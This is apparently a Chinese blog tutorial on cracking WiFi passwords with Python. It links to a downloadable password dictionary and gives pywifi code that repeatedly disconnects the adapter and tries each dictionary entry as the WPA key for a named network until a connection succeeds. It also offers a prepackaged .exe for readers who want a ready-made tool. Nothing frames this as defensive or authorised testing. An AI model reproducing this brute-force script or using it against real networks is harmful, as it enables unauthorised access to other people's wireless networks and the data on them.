好用的网站/国内销售平台有哪些
Python破解wifi密码
文章目录
- Python破解wifi密码
- 1:下载破解字典口令集
- 2:引入密码本路径和WiFi名称
- 3:获取网卡信息并断开所有链接
- 4:连接验证
- 5:逐行读取文本内容并执行
- 6:破解开始
- 7:懒癌独家

1:下载破解字典口令集
下载地址
提取码:phbe
2:引入密码本路径和WiFi名称
import time # 时间
import pywifi # 破解wifi# 密码本路径
path = r"C:\Users\Administrator\Desktop\passwd.txt"
# wifi名称
wifi_name = 'YYY-JINAN'
# 获取文本内容
file = open(path, "r", errors="ignore")
3:获取网卡信息并断开所有链接
wifi = pywifi.PyWiFi() # 抓取网卡接口
iface = wifi.interfaces()[0] # 抓取第一个无限网卡
def isno():iface.disconnect() # 测试链接断开所有链接# 测试网卡是否属于断开状态,iface.status() in \[0, 2]
4:连接验证
def test_connect(findStr): # 测试链接profile = pywifi.Profile() # 创建wifi链接文件profile.ssid = wifi_name # wifi名称profile.auth = 0 # 网卡的开放,profile.akm.append(4) # wifi加密算法profile.cipher = 3 # 加密单元profile.key = findStr # 密码iface.remove_all_network_profiles() # 删除所有的wifi文件tmp_profile = iface.add_network_profile(profile) # 设定新的链接文件iface.connect(tmp_profile) # 链接time.sleep(1)if iface.status() == 4: # 判断是否连接上isOK = Trueelse:isOK = Falseiface.disconnect() # 断开time.sleep(1)# 检查断开状态assert iface.status() in \[0, 2]return isOK
5:逐行读取文本内容并执行
def readPassWord():print("开始破解:")while True:try:myStr = file.readline()if not myStr:breakbool1 = test_connect(myStr)if bool1:print("密码正确:", myStr)breakelse:print("密码错误:" + myStr)except:continue
6:破解开始
isno()
readPassWord()
7:懒癌独家
如果您很懒,我已经将其打包到一个.exe程序中,下载并直接运行。
下载地址
提取码:q9vs
这件事更像是赢得彩票,如果输了就只能看脸。